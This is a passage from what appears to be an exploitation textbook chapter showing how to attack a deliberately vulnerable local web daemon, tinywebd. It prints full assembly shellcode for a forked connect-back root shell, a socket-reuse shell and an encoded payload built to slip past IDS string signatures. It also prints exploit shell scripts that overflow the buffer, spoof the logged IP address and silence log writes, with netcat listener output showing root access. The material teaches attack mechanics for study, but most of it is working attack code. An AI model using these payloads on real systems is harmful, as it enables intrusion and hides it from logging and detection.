shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ ls -l /Hacked -rw------- 1 root reader 0 2007-09-19 20:37 /Hacked reader@hacking:~/booksrc $ ps aux | grep tinywebd root 26787 0.0 0.0 1636 420 ? Ss 20:37 0:00 ./tinywebd reader 26828 0.0 0.0 2880 748 pts/1 R+ 20:38 0:00 grep tinywebd reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1 The web server for 127.0.0.1 is Tiny webserver reader@hacking:~/booksrc $

0x653 Child Laborers
Now that the difficult part is figured out, we can use this technique to silently spawn a root shell. Since the shell is interactive, but we still want the process to handle web requests, we need to fork to a child process. The fork() call creates a child process that is an exact copy of the parent, except that it returns 0 in the child process and the new process ID in the parent process. We want our shellcode to fork and the child process to serve up the root shell, while the parent process restores tinywebd’s execution. In the shellcode below, several instructions are added to the start of loopback_shell.s. First, the fork syscall is made, and the return value is put in the EAX register. The next few instructions test to see if EAX is zero. If EAX is zero, we jump to child_process to spawn the shell. Otherwise, we’re in the parent process, so the shellcode restores execution into tinywebd. loopback_shell_restore.s
BITS 32 push BYTE 0x02 pop eax int 0x80 test eax, eax jz child_process ; Fork is syscall #2 ; After the fork, in child process eax == 0. ; In child process spawns a shell.

; In the parent process, restore tinywebd. lea ebp, [esp+0x68] ; Restore EBP. push 0x08048fb7 ; Return address. ret ; Return child_process: ; s = socket(2, 1, 0) push BYTE 0x66 ; Socketcall is syscall #102 (0x66) pop eax cdq ; Zero out edx for use as a null DWORD later. xor ebx, ebx ; ebx is the type of socketcall. inc ebx ; 1 = SYS_SOCKET = socket()

346

0x 600

push edx ; push BYTE 0x1 ; push BYTE 0x2 ; mov ecx, esp ; int 0x80 ; .: [ Output trimmed;

Build arg array: { protocol = 0, (in reverse) SOCK_STREAM = 1, AF_INET = 2 } ecx = ptr to argument array After syscall, eax has socket file descriptor. the rest is the same as loopback_shell.s. ] :.

The following listing shows this shellcode in use. Multiple jobs are used instead of multiple terminals, so the netcat listener is sent to the background by ending the command with an ampersand ( &). After the shell connects back, the fg command brings the listener back to the foreground. The process is then suspended by hitting CTRL-Z, which returns to the BASH shell. It might be easier for you to use multiple terminals as you are following along, but job control is useful to know for those times when you don’t have the luxury of multiple terminals. reader@hacking:~/booksrc $ nasm loopback_shell_restore.s reader@hacking:~/booksrc $ hexdump -C loopback_shell_restore 00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.| 00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 |..jfX.1.CRj.j.| 00000020 e1 cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 |..jfXCh..f.T| 00000030 24 01 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 |$.fhzifS.j.QV.| 00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 |C...I.?.Iy.| 00000050 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 |.Rh//shh/bin.R.| 00000060 e2 53 89 e1 cd 80 |.S..| 00000066 reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ nc -l -p 31337 & [1] 27279 reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell_restore 127.0.0.1 target IP: 127.0.0.1 shellcode: loopback_shell_restore (102 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ fg nc -l -p 31337 whoami root [1]+ Stopped nc -l -p 31337 reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1 The web server for 127.0.0.1 is Tiny webserver reader@hacking:~/booksrc $ fg nc -l -p 31337 whoami root

With this shellcode, the connect-back root shell is maintained by a separate child process, while the parent process continues to serve web content.
C oun t erm ea s ure s

347

0x660

Advanced Camouflage
Our current stealth exploit only camouflages the web request; however, the IP address and timestamp are still written to the log file. This type of camouflage will make the attacks harder to find, but they are not invisible. Having your IP address written to logs that could be kept for years might lead to trouble in the future. Since we’re mucking around with the insides of the tinyweb daemon now, we should be able to hide our presence even better.

0x661 Spoofing the Logged IP Address
The IP address written to the log file comes from the client_addr_ptr, which is passed to handle_connection(). Code Segment from tinywebd.c void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);

To spoof the IP address, we just need to inject our own sockaddr_in structure and overwrite the client_addr_ptr with the address of the injected structure. The best way to generate a sockaddr_in structure for injection is to write a little C program that creates and dumps the structure. The following source code builds the struct using command-line arguments and then writes the struct data directly to file descriptor 1, which is standard output. addr_struct.c
#include #include #include #include int main(int argc, char *argv[]) { struct sockaddr_in addr; if(argc != 3) { printf("Usage: %s \n", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[2])); addr.sin_addr.s_addr = inet_addr(argv[1]); write(1, &addr, sizeof(struct sockaddr_in)); }

348

0x 600

This program can be used to inject a sockaddr_in structure. The output below shows the program being compiled and executed. reader@hacking:~/booksrc $ gcc -o addr_struct addr_struct.c reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090 ## "8N_reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C 00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#."8N..._.| 00000010 reader@hacking:~/booksrc $

To integrate this into our exploit, the address structure is injected after the fake request but before the NOP sled. Since the fake request is 15 bytes long and we know the buffer starts at 0xbffff5c0, the fake address will be injected at 0xbfffff5cf. reader@hacking:~/booksrc $ grep 0x xtool_tinywebd_steath.sh RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0 reader@hacking:~/booksrc $ gdb -q -batch -ex "p /x 0xbffff5c0 + 15" $1 = 0xbffff5cf reader@hacking:~/booksrc $

Since the client_addr_ptr is passed as a second function argument, it will be on the stack two dwords after the return address. The following exploit script injects a fake address structure and overwrites client_addr_ptr. xtool_tinywebd_spoof.sh
#!/bin/sh # IP spoofing stealth exploitation tool for tinywebd SPOOFIP="12.34.56.78" SPOOFPORT="9090" if [ -z "$2" ]; then # If argument 2 is blank echo "Usage: $0 " exit fi FAKEREQUEST="GET / HTTP/1.1\x00" FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0 FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr 128] [*fake_addr 8]"

C oun t erm ea s ure s

349

(perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80

The best way to explain exactly what this exploit script does is to watch tinywebd from within GDB. In the output below, GDB is used to attach to the running tinywebd process, breakpoints are set before the overflow, and the IP portion of the log buffer is generated. reader@hacking:~/booksrc $ ps aux | grep tinywebd root 27264 0.0 0.0 1636 420 ? Ss 20:47 0:00 ./tinywebd reader 30648 0.0 0.0 2880 748 pts/2 R+ 22:29 0:00 grep tinywebd reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q—pid=27264 --symbols=./a.out warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 27264 /cow/home/reader/booksrc/tinywebd: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) list handle_connection 77 /* This function handles the connection on the passed socket from the 78 * passed client address and logs to the passed FD. The connection is 79 * processed as a web request, and this function replies over the connected 80 * socket. Finally, the passed socket is closed at the end of the function. 81 */ 82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { 83 unsigned char *ptr, request[500], resource[500], log_buffer[500]; 84 int fd, length; 85 86 length = recv_line(sockfd, request); (gdb) 87 88 sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); 89 90 ptr = strstr(request, " HTTP/"); // Search for valid looking request. 91 if(ptr == NULL) { // Then this isn't valid HTTP 92 strcat(log_buffer, " NOT HTTP!\n"); 93 } else { 94 *ptr = 0; // Terminate the buffer at the end of the URL. 95 ptr = NULL; // Set ptr to NULL (used to flag for an invalid request). 96 if(strncmp(request, "GET ", 4) == 0) // Get request (gdb) break 86 Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86. (gdb) break 89 Breakpoint 2 at 0x8049028: file tinywebd.c, line 89. (gdb) cont Continuing.

350

0x 600

Then, from another terminal, the new spoofing exploit is used to advance execution in the debugger. reader@hacking:~/booksrc $ ./xtool_tinywebd_spoof.sh mark_restore 127.0.0.1 target IP: 127.0.0.1 shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $

Back in the debugging terminal, the first breakpoint is hit.
Breakpoint 1, handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) bt #0 handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) print client_addr_ptr $1 = (struct sockaddr_in *) 0xbffff810 (gdb) print *client_addr_ptr $2 = {sin_family = 2, sin_port = 15284, sin_addr = {s_addr = 16777343}, sin_zero = "\000\000\000\000\000\000\000"} (gdb) x/x &client_addr_ptr 0xbffff7e4: 0xbffff810 (gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0x0804b030 0xbffff624 0xbffff7d4: 0x00000009 0xbffff848 0x08048fb7 0x00000009 0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002 (gdb) cont Continuing. Breakpoint 2, handle_connection (sockfd=-1073744433, client_addr_ptr=0xbffff5cf, logfd=2560) at tinywebd.c:90 90 ptr = strstr(request, " HTTP/"); // Search for valid-looking request. (gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7d4: 0xbffff624 0xbffff624 0xbffff624 0xbffff5cf 0xbffff7e4: 0xbffff5cf 0x00000a00 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002 (gdb) print client_addr_ptr $3 = (struct sockaddr_in *) 0xbffff5cf (gdb) print client_addr_ptr $4 = (struct sockaddr_in *) 0xbffff5cf (gdb) print *client_addr_ptr $5 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580},

C oun t erm ea s ure s

351

sin_zero = "\000\000\000\000_ (gdb) x/s log_buffer 0xbffff1c0: "From 12.34.56.78:9090 \"GET / HTTP/1.1\"\t" (gdb)

At the first breakpoint, client_addr_ptr is shown to be at 0xbffff7e4 and pointing to 0xbffff810. This is found in memory on the stack two dwords after the return address. The second breakpoint is after the overwrite, so the client_addr_ptr at 0xbffff7e4 is shown to be overwritten with the address of the injected sockaddr_in structure at 0xbffff5cf. From here, we can peek at the log_buffer before it’s written out to the log to verify the address injection worked.

0x662 Logless Exploitation
Ideally, we want to leave no trace at all. In the setup on the LiveCD, technically you can just delete the log files after you get a root shell. However, let’s assume this program is part of a secure infrastructure where the log files are mirrored to a secure logging server that has minimal access or maybe even a line printer. In these cases, deleting the log files after the fact is not an option. The timestamp() function in the tinyweb daemon tries to be secure by writing directly to an open file descriptor. We can’t stop this function from being called, and we can’t undo the write it does to the log file. This would be a fairly effective countermeasure; however, it was implemented poorly. In fact, in the previous exploit, we stumbled upon this problem. Even though logfd is a global variable, it is also passed to handle_connection() as a function argument. From the discussion of functional context, you should remember that this creates another stack variable with the same name, logfd. Since this argument is found right after the client_addr_ptr on the stack, it gets partially overwritten by the null terminator and the extra 0x0a byte found at the end of the exploit buffer.
(gdb) x/xw &client_addr_ptr 0xbffff7e4: 0xbffff5cf (gdb) x/xw &logfd 0xbffff7e8: 0x00000a00 (gdb) x/4xb &logfd 0xbffff7e8: 0x00 0x0a 0x00 0x00 (gdb) x/8xb &client_addr_ptr 0xbffff7e4: 0xcf 0xf5 0xff 0xbf 0x00 0x0a 0x00 (gdb) p logfd $6 = 2560 (gdb) quit The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: , process 27264 reader@hacking:~/booksrc $ sudo kill 27264 reader@hacking:~/booksrc $

0x00

As long as the log file descriptor doesn’t happen to be 2560 (0x0a00 in hexadecimal), every time handle_connection() tries to write to the log it will fail. This effect can be quickly explored using strace. In the output below,
352
0x 600

strace is used with the -p command-line argument to attach to a running process. The -e trace=write argument tells strace to only look at write calls. Once again, the spoofing exploit tool is used in another terminal to connect and advance execution. reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 525 0.0 0.0 2880 748 pts/1 R+ 23:24 0:00 grep tinywebd reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write Process 478 attached - interrupt to quit write(2560, "09/19/2007 23:29:30> ", 21) = -1 EBADF (Bad file descriptor) write(2560, "From 12.34.56.78:9090 \"GET / HTT".., 47) = -1 EBADF (Bad file descriptor) Process 478 detached reader@hacking:~/booksrc $

This output clearly shows the attempts to write to the log file failing. Normally, we wouldn’t be able to overwrite the logfd variable, since the client_addr_ptr is in the way. Carelessly mangling this pointer will usually lead to a crash. But since we’ve made sure this variable points to valid memory (our injected spoofed address structure), we’re free to overwrite the variables that lie beyond it. Since the tinyweb daemon redirects standard out to /dev/null, the next exploit script will overwrite the passed logfd variable with 1, for standard output. This will still prevent entries from being written to the log file but in a much nicer way—without errors. xtool_tinywebd_silent.sh
#!/bin/sh # Silent stealth exploitation tool for tinywebd # also spoofs IP address stored in memory SPOOFIP=”12.34.56.78" SPOOFPORT="9090" if [ -z "$2" ]; then # If argument 2 is blank echo "Usage: $0 " exit fi FAKEREQUEST="GET / HTTP/1.1\x00" FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0 FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr 128] [*fake_addr 8]"
C oun t erm ea s ure s

353

(perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80

When this script is used, the exploit is totally silent and nothing is written to the log file. reader@hacking:~/booksrc $ sudo rm /Hacked reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon.. reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log -rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:~/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1 target IP: 127.0.0.1 shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log -rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:~/booksrc $ ls -l /Hacked -rw------- 1 root reader 0 2007-09-19 23:35 /Hacked reader@hacking:~/booksrc $

Notice the log file’s size and access time remain the same. Using this technique, we can exploit tinywebd without leaving any trace in the log files. In addition, the write calls execute cleanly, as everything is written to /dev/null. This is shown by strace in the output below, when the silent exploit tool is run in another terminal. reader@hacking:~/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 1005 0.0 0.0 2880 748 pts/1 R+ 23:36 0:00 grep tinywebd reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write Process 478 attached - interrupt to quit write(1, "09/19/2007 23:36:31> ", 21) = 21 write(1, "From 12.34.56.78:9090 \"GET / HTT".., 47) = 47 Process 478 detached reader@hacking:~/booksrc $

0x670

The Whole Infrastructure
As always, details can be hidden in the bigger picture. A single host usually exists within some sort of infrastructure. Countermeasures such as intrusion detection systems (IDS) and intrusion prevention systems (IPS) can detect abnormal network traffic. Even simple log files on routers and firewalls can reveal abnormal connections that are indicative of an intrusion. In particular, the connection to port 31337 used in our connect-back shellcode is a

354

0x 600

big red flag. We could change the port to something that looks less suspicious; however, simply having a webserver open outbound connections could be a red flag by itself. A highly secure infrastructure might even have the firewall setup with egress filters to prevent outbound connections. In these situations, opening a new connection is either impossible or will be detected.

0x671 Socket Reuse
In our case, there’s really no need to open a new connection, since we already have an open socket from the web request. Since we’re mucking around inside the tinyweb daemon, with a little debugging we can reuse the existing socket for the root shell. This prevents additional TCP connections from being logged and allows exploitation in cases where the target host cannot open outbound connections. Take a look at the source code from tinywebd.c shown below. Excerpt from tinywebd.c while(1) { // Accept loop sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); handle_connection(new_sockfd, &client_addr, logfd); } return 0; } /* This function handles the connection on the passed socket from the * passed client address and logs to the passed FD. The connection is * processed as a web request, and this function replies over the connected * socket. Finally, the passed socket is closed at the end of the function. */ void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request);

Unfortunately, the sockfd passed to handle_connection() will inevitably be overwritten so we can overwrite logfd. This overwrite happens before we gain control of the program in the shellcode, so there’s no way to recover the previous value of sockfd. Luckily, main() keeps another copy of the socket’s file descriptor in new_sockfd. reader@hacking:~/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 1284 0.0 0.0 2880 748 pts/1 R+ 23:42 0:00 grep tinywebd reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q—pid=478 --symbols=./a.out

C oun t erm ea s ure s

355

warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 478 /cow/home/reader/booksrc/tinywebd: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) list handle_connection 77 /* This function handles the connection on the passed socket from the 78 * passed client address and logs to the passed FD. The connection is 79 * processed as a web request, and this function replies over the connected 80 * socket. Finally, the passed socket is closed at the end of the function. 81 */ 82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { 83 unsigned char *ptr, request[500], resource[500], log_buffer[500]; 84 int fd, length; 85 86 length = recv_line(sockfd, request); (gdb) break 86 Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86. (gdb) cont Continuing.

After the breakpoint is set and the program continues, the silent exploit tool is used from another terminal to connect and advance execution.
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) x/x &sockfd 0xbffff7e0: 0x0000000d (gdb) x/x &new_sockfd No symbol "new_sockfd" in current context. (gdb) bt #0 handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) select-frame 1 (gdb) x/x &new_sockfd 0xbffff83c: 0x0000000d (gdb) quit The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: , process 478 reader@hacking:~/booksrc $

This debugging output shows that new_sockfd is stored at 0xbffff83c within main’s stack frame. Using this, we can create shellcode that uses the socket file descriptor stored here instead of creating a new connection. While we could just use this address directly, there are many little things that can shift stack memory around. If this happens and the shellcode is using a hard-coded stack address, the exploit will fail. To make the shellcode more reliable, take a cue from how the compiler handles stack variables. If we use an address relative to ESP, then even if the stack shifts around a bit, the address

356

0x 600

of new_sockfd will still be correct since the offset from ESP will be the same. As you may remember from debugging with the mark_break shellcode, ESP was 0xbffff7e0. Using this value for ESP, the offset is shown to be 0x5c bytes. reader@hacking:~/booksrc $ gdb -q (gdb) print /x 0xbffff83c - 0xbffff7e0 $1 = 0x5c (gdb)

The following shellcode reuses the existing socket for the root shell. socket_reuse_restore.s
BITS 32 push BYTE 0x02 pop eax int 0x80 test eax, eax jz child_process ; Fork is syscall #2 ; After the fork, in child process eax == 0. ; In child process spawns a shell.

; In the parent process, restore tinywebd. lea ebp, [esp+0x68] ; Restore EBP. push 0x08048fb7 ; Return address. ret ; Return. child_process: ; Re-use existing socket. lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx. mov ebx, [edx] ; Put the value of new_sockfd in ebx. push BYTE 0x02 pop ecx ; ecx starts at 2. xor eax, eax xor edx, edx dup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) dec ecx ; Count down to 0. jns dup_loop ; If the sign flag is not set, ecx is not negative.

; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push edx ; push some nulls for string termination. push 0x68732f2f ; push "//sh" to the stack. push 0x6e69622f ; push "/bin" to the stack. mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp. push edx ; push 32-bit null terminator to stack. mov edx, esp ; This is an empty array for envp. push ebx ; push string addr to stack above null terminator. mov ecx, esp ; This is the argv array with string ptr. int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

C oun t erm ea s ure s

357

To effectively use this shellcode, we need another exploitation tool that lets us send the exploit buffer but keeps the socket out for further I/O. This second exploit script adds an additional cat - command to the end of the exploit buffer. The dash argument means standard input. Running cat on standard input is somewhat useless in itself, but when the command is piped into netcat, this effectively ties standard input and output to netcat’s network socket. The script below connects to the target, sends the exploit buffer, and then keeps the socket open and gets further input from the terminal. This is done with just a few modifications (shown in bold) to the silent exploit tool. xtool_tinywebd_reuse.sh
#!/bin/sh # Silent stealth exploitation tool for tinywebd # also spoofs IP address stored in memory # reuses existing socket—use socket_reuse shellcode SPOOFIP="12.34.56.78" SPOOFPORT="9090" if [ -z "$2" ]; then # if argument 2 is blank echo "Usage: $0 " exit fi FAKEREQUEST="GET / HTTP/1.1\x00" FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0 FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr 128] [*fake_addr 8]" (perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\""; cat -;) | nc -v $2 80

When this tool is used with the socket_reuse_restore shellcode, the root shell will be served up using the same socket used for the web request. The following output demonstrates this. reader@hacking:~/booksrc reader@hacking:~/booksrc 00000000 6a 02 58 cd 80 00000010 04 08 c3 8d 54 $ nasm socket_reuse_restore.s $ hexdump -C socket_reuse_restore 85 c0 74 0a 8d 6c 24 68 68 b7 8f 24 5c 8b 1a 6a 02 59 31 c0 31 d2

|j.X..t.l$hh.| |..T$\.j.Y1.1.|

358

0x 600

00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh| 00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin.R.S..| 0000003e reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1 target IP: 127.0.0.1 shellcode: socket_reuse_restore (62 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open whoami root

By reusing the existing socket, this exploit is even quieter since it doesn’t create any additional connections. Fewer connections mean fewer abnormalities for any countermeasures to detect.

0x680

Payload Smuggling
The aforementioned network IDS or IPS systems can do more than just track connections—they can also inspect the packets themselves. Usually, these systems are looking for patterns that would signify an attack. For example, a simple rule looking for packets that contain the string /bin/sh would catch a lot of packets containing shellcode. Our /bin/sh string is already slightly obfuscated since it’s pushed to the stack in four-byte chunks, but a network IDS could also look for packets that contain the strings /bin and //sh. These types of network IDS signatures can be fairly effective at catching script kiddies who are using exploits they downloaded from the Internet. However, they are easily bypassed with custom shellcode that hides any telltale strings.

0x681 String Encoding
To hide the string, we will simply add 5 to each byte in the string. Then, after the string has been pushed to the stack, the shellcode will subtract 5 from each string byte on the stack. This will build the desired string on the stack so it can be used in the shellcode, while keeping it hidden during transit. The output below shows the calculation of the encoded bytes. reader@hacking:~/booksrc $ echo "/bin/sh" | hexdump -C 00000000 2f 62 69 6e 2f 73 68 0a 00000008 reader@hacking:~/booksrc $ gdb -q (gdb) print /x 0x0068732f + 0x05050505 $1 = 0x56d7834 (gdb) print /x 0x6e69622f + 0x05050505 $2 = 0x736e6734 (gdb) quit reader@hacking:~/booksrc $

|/bin/sh.|

C oun t erm ea s ure s

359

The following shellcode pushes these encoded bytes to the stack and then decodes them in a loop. Also, two int3 instructions are used to put breakpoints in the shellcode before and after the decoding. This is an easy way to see what’s going on with GDB. encoded_sockreuserestore_dbg.s
BITS 32 push BYTE 0x02 pop eax int 0x80 test eax, eax jz child_process ; Fork is syscall #2. ; After the fork, in child process eax == 0. ; In child process spawns a shell.

; In the parent process, restore tinywebd. lea ebp, [esp+0x68] ; Restore EBP. push 0x08048fb7 ; Return address. ret ; Return child_process: ; Re-use existing socket. lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx. mov ebx, [edx] ; Put the value of new_sockfd in ebx. push BYTE 0x02 pop ecx ; ecx starts at 2. xor eax, eax dup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) dec ecx ; Count down to 0. jns dup_loop ; If the sign flag is not set, ecx is not negative. ; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack. push 0x736e6734 ; push "/bin" encoded +5 to the stack. mov ebx, esp ; Put the address of encoded "/bin/sh" into ebx. int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING) push BYTE 0x8 ; Need to decode 8 bytes pop edx decode_loop: sub BYTE [ebx+edx], 0x5 dec edx jns decode_loop int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)

xor edx, edx push edx mov edx, esp

; push 32-bit null terminator to stack. ; This is an empty array for envp.

360

0x 600

push ebx mov ecx, esp int 0x80

; push string addr to stack above null terminator. ; This is the argv array with string ptr. ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

